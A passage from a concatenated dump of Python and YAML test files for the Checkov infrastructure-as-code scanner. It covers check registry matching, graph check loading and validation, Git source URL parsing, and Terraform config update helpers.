self.assertIn(resource_s_check, resource__checks) resource_abc_checks = registry.get_checks("resource_abc") self.assertEqual(3, len(resource_abc_checks)) self.assertIn(s_check, resource_abc_checks) self.assertIn(resource_s_check, resource_abc_checks) self.assertIn(resource_as_check, resource_abc_checks) r_checks = registry.get_checks("r") self.assertEqual(1, len(r_checks)) self.assertIn(s_check, r_checks) resource_checks = registry.get_checks("resource") self.assertEqual(1, len(resource_checks)) self.assertIn(s_check, resource_checks) resource_checks = registry.get_checks("resource_ABC") self.assertEqual(2, len(resource_checks)) self.assertIn(s_check, resource_checks) self.assertIn(resource_s_check, resource_checks) def test_get_check_mixed(self): registry = BaseCheckRegistry('') resource_1_check = TestCheck("resource_1", id="CKV_T_1") resource_2_check = TestCheck("resource_2", id="CKV_T_2") resource_s_check = TestCheck("resource_*", id="CKV_T_4") resource_as_check = TestCheck("resource_a*", id="CKV_T_3") s_check = TestCheck("*", id="CKV_T_4") s_2_check = TestCheck("*_2", id="CKV_T_5") registry.register(resource_1_check) registry.register(resource_2_check) registry.register(resource_s_check) registry.register(resource_as_check) registry.register(s_check) registry.register(s_2_check) resource_1_checks = registry.get_checks("resource_1") self.assertEqual(3, len(resource_1_checks)) self.assertIn(s_check, resource_1_checks) self.assertIn(resource_1_check, resource_1_checks) self.assertIn(resource_s_check, resource_1_checks) resource_10_checks = registry.get_checks("resource_10") self.assertEqual(2, len(resource_10_checks)) self.assertIn(s_check, resource_10_checks) self.assertIn(resource_s_check, resource_10_checks) resource_2_checks = registry.get_checks("resource_2") self.assertEqual(4, len(resource_2_checks)) self.assertIn(s_check, resource_2_checks) self.assertIn(s_2_check, resource_2_checks) self.assertIn(resource_2_check, resource_2_checks) self.assertIn(resource_s_check, resource_2_checks) resource__checks = registry.get_checks("resource_") self.assertEqual(2, len(resource__checks)) self.assertIn(s_check, resource__checks) self.assertIn(resource_s_check, resource__checks) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/common/checks/test_graph_check_loading.py ================================================ import os import unittest from checkov.common.checks_infra.checks_parser import GraphCheckParser from checkov.common.checks_infra.registry import Registry from checkov.runner_filter import RunnerFilter from pathlib import Path from checkov.terraform.runner import Runner class TestGraphChecks(unittest.TestCase): def test_internal_graph_checks_load(self): registry = Registry(parser=GraphCheckParser(), checks_dir=str( Path(__file__).parent.parent.parent.parent / "checkov" / "terraform" / "checks" / "graph_checks")) registry.load_checks() runner_filter = RunnerFilter() for check in registry.checks: self.assertFalse(runner_filter.is_external_check(check)) # The BC ID should not be populated with a CKV2 ID self.assertIsNone(check.bc_id) def test_external_graph_check_load(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) runner.graph_registry.checks = [] extra_checks_dir_path = [current_dir + "/extra_yaml_checks"] runner.load_external_checks(extra_checks_dir_path) self.assertEqual(len(runner.graph_registry.checks), 1) runner_filter = RunnerFilter() for check in runner.graph_registry.checks: self.assertTrue(runner_filter.is_external_check(check.id)) runner.graph_registry.checks[:] = [check for check in runner.graph_registry.checks if "CUSTOM_GRAPH_AWS_1" not in check.id] def test_external_checks_and_graph_checks_load(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) runner_filter = RunnerFilter(framework=['terraform']) external_graph_checks = 0 # with external yaml checks external graph registry checks count should be equal to the external graph checks extra_checks_dir_path = [current_dir + "/extra_checks", current_dir + "/extra_yaml_checks"] runner.run(root_folder=current_dir, external_checks_dir=extra_checks_dir_path, runner_filter=runner_filter) for check in runner.graph_registry.checks: if runner_filter.is_external_check(check.id): external_graph_checks += 1 self.assertGreater(len(runner.graph_registry.checks), 1) self.assertGreaterEqual(external_graph_checks, 1) runner.graph_registry.checks[:] = [check for check in runner.graph_registry.checks if "CUSTOM_GRAPH_AWS_1" not in check.id] if __name__ == '__main__': unittest.main() ================================================ FILE: tests/common/checks_infra/examples/invalid_definition.yaml ================================================ metadata: name: "Ensure Lambda function runs with Python 3.9" id: CUSTOM_1 category: "GENERAL_SECURITY" definition: ================================================ FILE: tests/common/checks_infra/examples/missing_definition.yaml ================================================ metadata: name: "Ensure Lambda function runs with Python 3.9" id: CUSTOM_1 category: "GENERAL_SECURITY" ================================================ FILE: tests/common/checks_infra/examples/missing_metadata.yaml ================================================ definition: cond_type: attribute resource_types: - aws_lambda_function attribute: runtime operator: equals value: python3.9 ================================================ FILE: tests/common/checks_infra/examples/missing_metadata_category.yaml ================================================ metadata: name: "Ensure Lambda function runs with Python 3.9" id: CUSTOM_1 definition: cond_type: attribute resource_types: - aws_lambda_function attribute: runtime operator: equals value: python3.9 ================================================ FILE: tests/common/checks_infra/examples/valid_check.yaml ================================================ metadata: name: "Ensure Lambda function runs with Python 3.9" id: CUSTOM_1 category: "GENERAL_SECURITY" severity: HIGH definition: cond_type: attribute resource_types: - aws_lambda_function attribute: runtime operator: equals value: python3.9 ================================================ FILE: tests/common/checks_infra/examples/valid_check_tf.yaml ================================================ metadata: name: "Ensure aws_s3_bucket is not us-east-1" id: CUSTOM_SEVERITY category: "GENERAL_SECURITY" severity: HIGH definition: cond_type: attribute resource_types: - aws_s3_bucket attribute: region operator: not_equals value: us-east-1 ================================================ FILE: tests/common/checks_infra/examples/valid_check_tf_without_severity.yaml ================================================ metadata: name: "Ensure aws_s3_bucket is not us-east-1" id: CUSTOM_WITHOUT_SEVERITY category: "GENERAL_SECURITY" definition: cond_type: attribute resource_types: - aws_s3_bucket attribute: region operator: not_equals value: us-east-1 ================================================ FILE: tests/common/checks_infra/test-registry-data/invalid-yaml/data-not.yaml ================================================ test ================================================ FILE: tests/common/checks_infra/test-registry-data/invalid-yaml/empty.yaml ================================================ ================================================ FILE: tests/common/checks_infra/test-registry-data/valid-yaml-invalid-check/yaml.yaml ================================================ test: test ================================================ FILE: tests/common/checks_infra/test_checks_parser.py ================================================ from pathlib import Path import yaml from _pytest.logging import LogCaptureFixture from checkov.common.checks_infra.checks_parser import GraphCheckParser from checkov.common.checks_infra.resources_types import resources_types as raw_resources_types EXAMPLES_DIR = Path(__file__).parent / "examples" def test_validate_check_config(caplog: LogCaptureFixture): # given file_path = EXAMPLES_DIR / "valid_check.yaml" check_yaml = yaml.safe_load(file_path.read_text()) # when valid = GraphCheckParser().validate_check_config(file_path=str(file_path), raw_check=check_yaml) # then assert valid assert len(caplog.messages) == 0 def test_validate_check_config_missing_metadata(caplog: LogCaptureFixture): # given file_path = EXAMPLES_DIR / "missing_metadata.yaml" check_yaml = yaml.safe_load(file_path.read_text()) # when valid = GraphCheckParser().validate_check_config(file_path=str(file_path), raw_check=check_yaml) # then assert not valid assert caplog.messages == [ f"Custom policy {file_path} is missing required fields metadata.id, metadata.name, metadata.category" ] def test_validate_check_config_missing_metadata_category(caplog: LogCaptureFixture): # given file_path = EXAMPLES_DIR / "missing_metadata_category.yaml" check_yaml = yaml.safe_load(file_path.read_text()) # when valid = GraphCheckParser().validate_check_config(file_path=str(file_path), raw_check=check_yaml) # then assert not valid assert caplog.messages == [f"Custom policy {file_path} is missing required fields metadata.category"] def test_validate_check_config_missing_definition(caplog: LogCaptureFixture): # given file_path = EXAMPLES_DIR / "missing_definition.yaml" check_yaml = yaml.safe_load(file_path.read_text()) # when valid = GraphCheckParser().validate_check_config(file_path=str(file_path), raw_check=check_yaml) # then assert not valid assert caplog.messages == [f"Custom policy {file_path} is missing required fields definition"] def test_validate_check_config_invalid_definition(caplog: LogCaptureFixture): # given file_path = EXAMPLES_DIR / "invalid_definition.yaml" check_yaml = yaml.safe_load(file_path.read_text()) # when valid = GraphCheckParser().validate_check_config(file_path=str(file_path), raw_check=check_yaml) # then assert not valid assert caplog.messages == [ f"Custom policy {file_path} has an invalid 'definition' block type 'NoneType', " "needs to be either a 'list' or 'dict'" ] def test_parse_taggable_resource_string(): parser = GraphCheckParser() raw_check = {"resource_types": "taggable"} providers = ["aws"] check = parser._parse_raw_check(raw_check, [], providers) assert check.resource_types == raw_resources_types.get("aws_taggable") def test_parse_taggable_resource_list(): parser = GraphCheckParser() raw_check = {"resource_types": ["taggable"]} providers = ["azure"] check = parser._parse_raw_check(raw_check, [], providers) assert check.resource_types == raw_resources_types.get("azure_taggable") ================================================ FILE: tests/common/checks_infra/test_debug.py ================================================ from __future__ import annotations from textwrap import dedent import pytest from _pytest.capture import CaptureFixture from checkov.common.graph.checks_infra.debug import attribute_block, graph_check, connection_block from checkov.common.graph.checks_infra.enums import Operators from checkov.common.graph.graph_builder import CustomAttributes from checkov.common.util.env_vars_config import env_vars_config @pytest.fixture def enable_graph_debug(): env_vars_config.EXPERIMENTAL_GRAPH_DEBUG = True yield env_vars_config.EXPERIMENTAL_GRAPH_DEBUG = False def test_no_output_on_default(capfd: CaptureFixture[str]): # given/when graph_check(check_id="CKV_EXAMPLE_1", check_name="Example") # then assert not capfd.readouterr().out def test_attribute_block(capfd: CaptureFixture[str], enable_graph_debug): # given resource_types = ["aws_s3_bucket"] attribute = "lifecycle_rule" operator = Operators.EXISTS value = None resource = { CustomAttributes.ID: "aws_s3_bucket.example", CustomAttributes.CONFIG: { "aws_s3_bucket": { "example": { "__end_line__": 3, "__start_line__": 1, "bucket": ["example"], "__address__": "aws_s3_bucket.example", } } }, } status = "failed" # when attribute_block( resource_types=resource_types, attribute=attribute, operator=operator, value=value, resource=resource, status=status, ) # then assert capfd.readouterr().out == dedent( """ Evaluated block: - cond_type: attribute resource_types: - aws_s3_bucket attribute: lifecycle_rule operator: exists and got: Resource "aws_s3_bucket.example" failed: { "aws_s3_bucket": { "example": { "__end_line__": 3, "__start_line__": 1, "bucket": [ "example" ], "__address__": "aws_s3_bucket.example" } } } """ ) def test_connection_block(capfd: CaptureFixture[str], enable_graph_debug): # given resource_types = ["aws_s3_bucket"] connected_resource_types = ["aws_s3_bucket_lifecycle_configuration"] operator = Operators.EXISTS value = None passed_resources = [ { CustomAttributes.ID: "aws_s3_bucket.good", }, { CustomAttributes.ID: "aws_s3_bucket_lifecycle_configuration.good", }, ] failed_resources = [ { CustomAttributes.ID: "aws_s3_bucket.bad", } ] # when connection_block( resource_types=resource_types, connected_resource_types=connected_resource_types, operator=operator, passed_resources=passed_resources, failed_resources=failed_resources, ) # then assert capfd.readouterr().out == dedent( """ Evaluated blocks: - cond_type: connection resource_types: - aws_s3_bucket connected_resource_types: - aws_s3_bucket_lifecycle_configuration operator: exists and got: Passed resources: "aws_s3_bucket.good", "aws_s3_bucket_lifecycle_configuration.good" Failed resources: "aws_s3_bucket.bad" """ ) ================================================ FILE: tests/common/checks_infra/test_registry.py ================================================ import os import unittest from checkov.common.checks_infra.registry import Registry from checkov.common.checks_infra.checks_parser import GraphCheckParser class TestRegistry(unittest.TestCase): def test_invalid_check_yaml_does_not_throw_exception(self): current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/test-registry-data/invalid-yaml" r = Registry(checks_dir=test_files_dir) r.load_checks() def test_valid_yaml_but_invalid_check_does_not_throw_exception(self): current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/test-registry-data/valid-yaml-invalid-check" r = Registry(checks_dir=test_files_dir, parser=GraphCheckParser()) r.load_checks() ================================================ FILE: tests/common/conftest.py ================================================ from __future__ import annotations import pytest from checkov.common.bridgecrew.bc_source import SourceType from checkov.common.bridgecrew.platform_integration import BcPlatformIntegration, bc_integration @pytest.fixture() def mock_bc_integration() -> BcPlatformIntegration: bc_integration.bc_api_key = "abcd1234-abcd-1234-abcd-1234abcd1234" bc_integration.api_url = 'https://www.bridgecrew.cloud' bc_integration.setup_bridgecrew_credentials( repo_id="bridgecrewio/checkov", skip_fixes=True, skip_download=True, source=SourceType("Github", False), source_version="1.0", repo_branch="master", ) return bc_integration ================================================ FILE: tests/common/goget/__init__.py ================================================ ================================================ FILE: tests/common/goget/local_getter.py ================================================ import logging from checkov.common.goget.base_getter import BaseGetter class LocalGetter(BaseGetter): def __init__(self, url): self.logger = logging.getLogger(__name__) super().__init__(url) def do_get(self): return self.temp_dir ================================================ FILE: tests/common/goget/test_goget_base.py ================================================ import os import unittest from tests.common.goget.local_getter import LocalGetter class TestBaseGetter(unittest.TestCase): def test_directory_creation(self): current_dir = os.getcwd() getter = LocalGetter(current_dir) result_dir = getter.get() print(current_dir) print(result_dir) self.assertIn(current_dir, result_dir) # Cleanup os.rmdir(getter.temp_dir) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/common/goget/test_goget_github.py ================================================ import unittest from unittest.mock import patch, Mock, mock_open import shutil import os from checkov.common.goget.github.get_git import GitGetter class TestGitGetter(unittest.TestCase): def test_parse_source(self): url = "https://my-git.com/repository-name/" getter = GitGetter(url) git_url, subdir = getter._source_subdir() self.assertEqual("https://my-git.com/repository-name/", git_url, "Parsed source url should contain hostname and path") self.assertEqual("", subdir, "Parsed source subdirectory should be empty") def test_parse_source_and_subdirectory(self): url = "https://my-git.com/repository-name.git//sub/path" getter = GitGetter(url) git_url, subdir = getter._source_subdir() self.assertEqual("https://my-git.com/repository-name.git", git_url, "Parsed source url should contain hostname and path") self.assertEqual("/sub/path", subdir, "Parsed source subdirectory should contain absolute (sub)path") def test_parse_source_and_subdirectory_without_git(self): url = "https://my-git.com/repository-name//sub/path" getter = GitGetter(url) git_url, subdir = getter._source_subdir() self.assertEqual("https://my-git.com/repository-name", git_url, "Parsed source url should contain hostname and path") self.assertEqual("/sub/path", subdir, "Parsed source subdirectory should contain absolute (sub)path") def test_parse_source_with_query(self): url = "https://my-git.com/repository-name?key=value" getter = GitGetter(url) git_url, subdir = getter._source_subdir() self.assertEqual("https://my-git.com/repository-name?key=value", git_url, "Parsed source url should contain hostname, path and query") self.assertEqual("", subdir, "Parsed source subdirectory should be empty") def test_parse_source_and_subdirectory_with_query(self): url = "https://my-git.com/repository-name//sub/path?key=value" getter = GitGetter(url) git_url, subdir = getter._source_subdir() self.assertEqual("https://my-git.com/repository-name?key=value", git_url, "Parsed source url should contain hostname, path and query") self.assertEqual("/sub/path", subdir, "Parsed source subdirectory should contain absolute (sub)path") def test_parse_source_without_scheme(self): url = "my-git.com/repository-name" getter = GitGetter(url) git_url, subdir = getter._source_subdir() self.assertEqual("my-git.com/repository-name", git_url, "Parsed source url should contain hostname and path") self.assertEqual("", subdir, "Parsed source subdirectory should be empty") def test_parse_source_and_subdirectory_without_scheme(self): url = "my-git.com/repository-name//sub/path" getter = GitGetter(url) git_url, subdir = getter._source_subdir() self.assertEqual("my-git.com/repository-name", git_url, "Parsed source url should contain hostname and path") self.assertEqual("/sub/path", subdir, "Parsed source subdirectory should contain absolute (sub)path") def test_parse_source_with_query_without_scheme(self): url = "my-git.com/repository-name?key=value" getter = GitGetter(url) git_url, subdir = getter._source_subdir() self.assertEqual("my-git.com/repository-name?key=value", git_url, "Parsed source url should contain hostname, path and query") self.assertEqual("", subdir, "Parsed source subdirectory should be empty") def test_parse_source_and_subdirectory_with_query_without_scheme(self): url = "my-git.com/repository-name//sub/path?key=value" getter = GitGetter(url) git_url, subdir = getter._source_subdir() self.assertEqual("my-git.com/repository-name?key=value", git_url, "Parsed source url should contain hostname, path and query") self.assertEqual("/sub/path", subdir, "Parsed source subdirectory should contain absolute (sub)path") def test_parse_tag(self): url = "https://my-git.com/owner/repository-name?ref=tags/v1.2.3" getter = GitGetter(url) git_url = getter.extract_git_ref(url) self.assertEqual("https://my-git.com/owner/repository-name", git_url, "Parsed source url is wrong") self.assertEqual("v1.2.3", getter.tag, "Parsed source tag is wrong") def test_parse_tag_backward_compat(self): url = "https://my-git.com/owner/repository-name?ref=v1.2.3" getter = GitGetter(url) git_url = getter.extract_git_ref(url) self.assertEqual("https://my-git.com/owner/repository-name", git_url, "Parsed source url is wrong") self.assertEqual("v1.2.3", getter.tag, "Parsed source tag is wrong") def test_parse_branch(self): url = "https://my-git.com/owner/repository-name?ref=heads/omryBranch" getter = GitGetter(url) git_url = getter.extract_git_ref(url) self.assertEqual("https://my-git.com/owner/repository-name", git_url, "Parsed source url is wrong") self.assertEqual("omryBranch", getter.branch, "Parsed source branch is wrong") def test_parse_commit_id(self): url = "https://my-git.com/owner/repository-name?ref=aa218f56b14c9653891f9e74264a383fa43fefbd" getter = GitGetter(url) git_url = getter.extract_git_ref(url) self.assertEqual("https://my-git.com/owner/repository-name", git_url, "Parsed source url is wrong") self.assertEqual("aa218f56b14c9653891f9e74264a383fa43fefbd", getter.commit_id, "Parsed source commit_id is wrong") def test_parse_shortened_commit_id(self): """Test parsing of shortened git commit IDs (5-39 characters).""" url = "https://my-git.com/owner/repository-name?ref=aa218" getter = GitGetter(url) git_url = getter.extract_git_ref(url) self.assertEqual( "https://my-git.com/owner/repository-name", git_url, "Parsed source url is wrong for 5-char commit" ) self.assertEqual("aa218", getter.commit_id, "Parsed source commit_id is wrong for 5-char commit") @patch('checkov.common.goget.github.get_git.Repo') @patch('shutil.copytree') @patch('os.makedirs') def test_do_get_success_with_create_dirs(self, mock_makedirs, mock_copytree, mock_repo): """ Test do_get when create_clone_and_result_dirs is True. """ # Arrange url = "https://my-git.com/repo" getter = GitGetter(url, create_clone_and_result_dirs=True) getter.temp_dir = "/tmp/test" mock_repo_instance = Mock() mock_repo.clone_from.return_value = mock_repo_instance # Act result_dir = getter.do_get() # Assert self.assertEqual("/tmp/test/result/", result_dir) mock_repo.clone_from.assert_called_once_with(url, "/tmp/test/clone/", depth=1) mock_copytree.assert_called_once_with("/tmp/test/clone/", "/tmp/test/result/") mock_makedirs.assert_not_called() @patch('checkov.common.goget.github.get_git.Repo') @patch('shutil.copytree') @patch('os.makedirs') def test_do_get_success_without_create_dirs(self, mock_makedirs, mock_copytree, mock_repo): """ Test do_get when create_clone_and_result_dirs is False. """ # Arrange url = "https://my-git.com/repo" getter = GitGetter(url, create_clone_and_result_dirs=False) getter.temp_dir = "/tmp/test" mock_repo_instance = Mock() mock_repo.clone_from.return_value = mock_repo_instance # Act result_dir = getter.do_get() # Assert self.assertEqual("/tmp/test", result_dir) mock_repo.clone_from.assert_called_once_with(url, "/tmp/test", depth=1) mock_copytree.assert_not_called() mock_makedirs.assert_not_called() @patch('checkov.common.goget.github.get_git.git_import_error', ImportError("Mock git import error")) def test_do_get_import_error(self): """Test the case where the git module fails to import.""" url = "https://my-git.com/repo" getter = GitGetter(url) with self.assertRaises(ImportError) as context: getter.do_get() self.assertEqual("Unable to load git module (is the git executable available?)", str(context.exception)) @patch('checkov.common.goget.github.get_git.Repo') @patch('checkov.common.goget.github.get_git.env_vars_config') def test_clone_with_bc_ca_bundle(self, mock_env_vars_config, mock_repo): """Test that BC_CA_BUNDLE env var sets GIT_SSL_CAINFO for git clone.""" # Arrange mock_env_vars_config.BC_CA_BUNDLE = '/path/to/ca-bundle.crt' mock_env_vars_config.PROXY_URL = None url = "https://my-git.com/repo" getter = GitGetter(url, create_clone_and_result_dirs=False) getter.temp_dir = "/tmp/test" mock_repo_instance = Mock() mock_repo.clone_from.return_value = mock_repo_instance captured_env = {} def capture_env(*args, **kwargs): captured_env['GIT_SSL_CAINFO'] = os.environ.get('GIT_SSL_CAINFO') return mock_repo_instance mock_repo.clone_from.side_effect = capture_env # Act getter.do_get() # Assert self.assertEqual('/path/to/ca-bundle.crt', captured_env.get('GIT_SSL_CAINFO')) mock_repo.clone_from.assert_called_once() @patch('checkov.common.goget.github.get_git.Repo') @patch('checkov.common.goget.github.get_git.env_vars_config') def test_clone_without_bc_ca_bundle(self, mock_env_vars_config, mock_repo): """Test that clone works without BC_CA_BUNDLE env var.""" # Arrange mock_env_vars_config.BC_CA_BUNDLE = None mock_env_vars_config.PROXY_URL = None url = "https://my-git.com/repo" getter = GitGetter(url, create_clone_and_result_dirs=False) getter.temp_dir = "/tmp/test" mock_repo_instance = Mock() mock_repo.clone_from.return_value = mock_repo_instance captured_env = {} def capture_env(*args, **kwargs): captured_env['GIT_SSL_CAINFO'] = os.environ.get('GIT_SSL_CAINFO') return mock_repo_instance mock_repo.clone_from.side_effect = capture_env # Act getter.do_get() # Assert self.assertIsNone(captured_env.get('GIT_SSL_CAINFO')) mock_repo.clone_from.assert_called_once() @patch('checkov.common.goget.github.get_git.Repo') @patch('checkov.common.goget.github.get_git.env_vars_config') def test_clone_proxy_takes_precedence_over_bc_ca_bundle(self, mock_env_vars_config, mock_repo): """Test that PROXY_URL settings take precedence over BC_CA_BUNDLE.""" # Arrange mock_env_vars_config.PROXY_URL = 'http://proxy.example.com:8080' mock_env_vars_config.PROXY_CA_PATH = '/path/to/proxy-ca.crt' mock_env_vars_config.PROXY_HEADER_KEY = 'X-Custom-Header' mock_env_vars_config.PROXY_HEADER_VALUE = 'custom-value' mock_env_vars_config.BC_CA_BUNDLE = '/path/to/ca-bundle.crt' url = "https://my-git.com/repo" getter = GitGetter(url, create_clone_and_result_dirs=False) getter.temp_dir = "/tmp/test" mock_repo_instance = Mock() mock_repo.clone_from.return_value = mock_repo_instance captured_env = {} def capture_env(*args, **kwargs): captured_env['GIT_SSL_CAINFO'] = os.environ.get('GIT_SSL_CAINFO') captured_env['https_proxy'] = os.environ.get('https_proxy') return mock_repo_instance mock_repo.clone_from.side_effect = capture_env # Act getter.do_get() # Assert - PROXY_CA_PATH should be used, not BC_CA_BUNDLE self.assertEqual('/path/to/proxy-ca.crt', captured_env.get('GIT_SSL_CAINFO')) self.assertEqual('http://proxy.example.com:8080', captured_env.get('https_proxy')) mock_repo.clone_from.assert_called_once() if __name__ == '__main__': unittest.main() ================================================ FILE: tests/common/graph/__init__.py ================================================ ================================================ FILE: tests/common/graph/checks/__init__.py ================================================ ================================================ FILE: tests/common/graph/checks/test_block.py ================================================ import pytest from checkov.common.graph.graph_builder.graph_components.blocks import Block @pytest.mark.parametrize("input_key, expected_key", ( ("a.b", "$.a.b"), ("a.0", "$.a[0]"), ("a.0.b.1.2.c", "$.a[0].b[1][2].c"), ("a.0./mock-part-of-key.d.e.1", "$.a[0].\"/mock-part-of-key\".d.e[1]"), ("a.0.Fn::Region.d.e.1", "$.a[0].\"Fn::Region\".d.e[1]") )) def test__get_jsonpath_key(input_key: str, expected_key: str) -> None: result = Block._get_jsonpath_key(input_key) assert result == expected_key ================================================ FILE: tests/common/graph/checks/test_policy_packaging.py ================================================ from pathlib import Path def test_graph_policies_packaging_requirements() -> None: """Checks, if all graph_checks folder have a __init__.py file It is needed to add a __init__.py in the base of a folder to treat it as a module and indicate Python to add it during installation of the package. """ root_dir = Path(__file__).parents[4] for graph_dir in root_dir.rglob("graph_checks"): if ".mypy_cache" in graph_dir.parts: # skip paths, which are related to mypy continue assert (graph_dir / "__init__.py").exists() ================================================ FILE: tests/common/graph/checks/test_yaml_policies_base.py ================================================ from __future__ import annotations import itertools import json import os from pathlib import Path import yaml from abc import abstractmethod from typing import List, Optional, Any from unittest import TestCase from checkov.cloudformation.runner import Runner from checkov.common.checks_infra.checks_parser import GraphCheckParser from checkov.common.checks_infra.registry import Registry from checkov.common.graph.graph_manager import GraphManager from checkov.common.output.record import Record from checkov.runner_filter import RunnerFilter class TestYamlPoliciesBase(TestCase): def __init__(self, graph_manager: GraphManager, real_graph_checks_path: str, test_checks_path: Optional[str], check_type: str, test_file_path: str, args): super().__init__(args) self.check_type = check_type self.real_graph_checks_path = real_graph_checks_path self.checks_dir = test_checks_path self.test_file_path = test_file_path self.graph_manager = graph_manager def go(self, dir_name, check_name=None, local_graph_class=None): dir_path = os.path.join(os.path.dirname(os.path.realpath(self.test_file_path)), f"resources/{dir_name}") assert os.path.exists(dir_path) if self.checks_dir: assert os.path.exists(self.checks_dir) found = False for root, d_names, f_names in itertools.chain(os.walk(self.real_graph_checks_path), os.walk(self.checks_dir)): for f_name in f_names: check_name = dir_name if check_name is None else check_name if f_name == f"{check_name}.yaml": found = True policy = load_yaml_data(f_name, root) assert policy is not None expected = load_yaml_data("expected.yaml", dir_path) assert expected is not None report = self.get_policy_results(dir_path, policy, local_graph_class) expected = load_yaml_data("expected.yaml", dir_path) expected_to_fail = expected.get('fail', []) expected_to_pass = expected.get('pass', []) expected_to_skip = expected.get('skip', []) expected_evaluated_keys = expected.get('evaluated_keys', []) self.assert_entities(expected_to_pass, report.passed_checks, True) self.assert_entities(expected_to_fail, report.failed_checks, False) self.assert_entities(expected_to_skip, report.skipped_checks, True) self.assert_evaluated_keys(expected_evaluated_keys, report.passed_checks + report.failed_checks) assert found def assert_entities(self, expected_entities: List[str], results: List[Record], assertion: bool): self.assertEqual(len(expected_entities), len(results), f"mismatch in number of results in {'passed' if assertion else 'failed'}, " f"expected: {len(expected_entities)}, got: {len(results)}") for expected_entity in expected_entities: found = False for check_result in results: entity_id = check_result.resource if entity_id == expected_entity: found = True break self.assertTrue(found, f"expected to find entity {expected_entity}, {'passed' if assertion else 'failed'}") def get_policy_results(self, root_folder, policy, local_graph_class=None): check_id = policy['metadata']['id'] local_graph, _ = self.graph_manager.build_graph_from_source_directory( source_dir=root_folder, local_graph_class=local_graph_class, ) graph = self.graph_manager.save_graph(local_graph) registry = self.get_checks_registry() checks_results = registry.run_checks(graph, RunnerFilter(checks=[check_id]), None) return self.create_report_from_graph_checks_results(checks_results, policy['metadata']) def get_checks_registry(self): registry = Registry(parser=GraphCheckParser(), checks_dir=self.real_graph_checks_path) registry.load_checks() if self.checks_dir: registry.load_external_checks(self.checks_dir) return registry @abstractmethod def create_report_from_graph_checks_results(self, checks_results, check): pass @abstractmethod def assert_evaluated_keys(self, checks_results, check): pass def load_yaml_data(source_file_name: str | Path, dir_path: str | Path) -> Any: expected_path = os.path.join(dir_path, source_file_name) if not os.path.exists(expected_path): return None with open(expected_path, "r") as f: expected_data = yaml.safe_load(f) return json.loads(json.dumps(expected_data)) def get_expected_results_by_file_name(test_dir: str | Path) -> (list[str], list[str]): if not os.path.exists(test_dir): return None expected_fail = [] expected_pass = [] for root, d_names, f_names in os.walk(test_dir): for file in f_names: if file.startswith('fail'): expected_fail.append(file) elif file.startswith('pass'): expected_pass.append(file) else: raise NameError('yaml test files should start with either pass / fail') return (expected_fail, expected_pass) def get_policy_results(root_folder, policy): check_id = policy['metadata']['id'] graph_runner = Runner() report = graph_runner.run(root_folder, runner_filter=RunnerFilter(checks=[check_id])) return report ================================================ FILE: tests/common/graph/graph_builder/test_graph_builder_utils.py ================================================ import pytest from checkov.common.graph.graph_builder.utils import update_dictionary_attribute, join_double_quote_surrounded_dot_split @pytest.mark.parametrize( "input_parts,expected_parts", [ ( ["google_project_iam_binding", 'role["roles/logging', 'admin"]'], ["google_project_iam_binding", 'role["roles/logging.admin"]'], ), ( ["module", "google_project_iam_binding", 'role["roles/logging', 'admin"]'], ["module", "google_project_iam_binding", 'role["roles/logging.admin"]'], ), ( [ "module", "google_project_iam_binding", 'role["roles/logging', 'admin"]', "module", "google_project_iam_binding", 'role["roles/logging', 'admin"]', ], [ "module", "google_project_iam_binding", 'role["roles/logging.admin"]', "module", "google_project_iam_binding", 'role["roles/logging.admin"]', ], ), ], ids=["resource", "module_resource", "complex"], ) def test_join_double_quote_surrounded_dot_split(input_parts, expected_parts): assert join_double_quote_surrounded_dot_split(str_parts=input_parts) == expected_parts def test_update_dictionary_attribute_nested(): origin_config = {'aws_s3_bucket': { 'destination': {'bucket': ['tf-test-bucket-destination-12345'], 'acl': ['${var.acl}'], 'versioning': [{'enabled': ['${var.is_enabled}']}]}}} key_to_update = 'versioning.enabled' new_value = [False] expected_config = {'aws_s3_bucket': { 'destination': {'bucket': ['tf-test-bucket-destination-12345'], 'acl': ['${var.acl}'], 'versioning': [{'enabled': [False]}]}}} actual_config = update_dictionary_attribute(origin_config, key_to_update, new_value) assert expected_config == actual_config, f'failed to update config. expected: {expected_config}, got: {actual_config}' def test_update_dictionary_attribute(): origin_config = {'aws_s3_bucket': { 'destination': {'bucket': ['tf-test-bucket-destination-12345'], 'acl': ['${var.acl}'], 'versioning': [{'enabled': ['${var.is_enabled}']}]}}} key_to_update = 'acl' new_value = ['public-read'] expected_config = {'aws_s3_bucket': { 'destination': {'bucket': ['tf-test-bucket-destination-12345'], 'acl': ['public-read'], 'versioning': [{'enabled': ['${var.is_enabled}']}]}}} actual_config = update_dictionary_attribute(origin_config, key_to_update, new_value) assert expected_config == actual_config, f'failed to update config.\nexpected: {expected_config}\ngot: {actual_config}' def test_update_dictionary_locals(): origin_config = {'aws_s3_bucket': { 'destination': {'bucket': ['tf-test-bucket-destination-12345'], 'acl': ['${var.acl}'], 'versioning': [{'enabled': ['${var.is_enabled}']}]}}} key_to_update = 'acl' new_value = ['public-read'] expected_config = {'aws_s3_bucket': { 'destination': {'bucket': ['tf-test-bucket-destination-12345'], 'acl': ['public-read'], 'versioning': [{'enabled': ['${var.is_enabled}']}]}}} actual_config = update_dictionary_attribute(origin_config, key_to_update, new_value) assert expected_config == actual_config, f'failed to update config.\nexpected: {expected_config}\ngot: {actual_config}' ================================================ FILE: tests/common/image_referencer/test_utils.py ================================================ from __future__ import annotations import asyncio import sys def mock_get_empty_license_statuses_async(packages, image_name: str): result = {'image_name': image_name, 'licenses': []} if sys.version_info < (3, 8): future = asyncio.Future() future.set_result(result) return future return result def mock_get_license_statuses_async(packages, image_name: str) -> dict[str, str | list[dict[str, str]]]: result = { "image_name": image_name, "licenses": [ { "package_name": "openssl", "package_version": "1.1.1q-r0", "policy": "BC_LIC_1", "license": "OpenSSL", "status": "OPEN", }, { "package_name": "musl", "package_version": "1.2.3-r0", "policy": "BC_LIC_1", "license": "MIT", "status": "COMPLIANT", }, ] } if sys.version_info < (3, 8): future = asyncio.Future() future.set_result(result) return future return result def mock_get_image_cached_result_async(image_id: str): result = { "results": [ { "id": "sha256:2460522297a148c1bcb477b126451ed44cca05c916694367313be1a91c69f793", "name": "redis:latest", "distro": "Debian GNU/Linux 11 (bullseye)", "distroRelease": "bullseye", "digest": 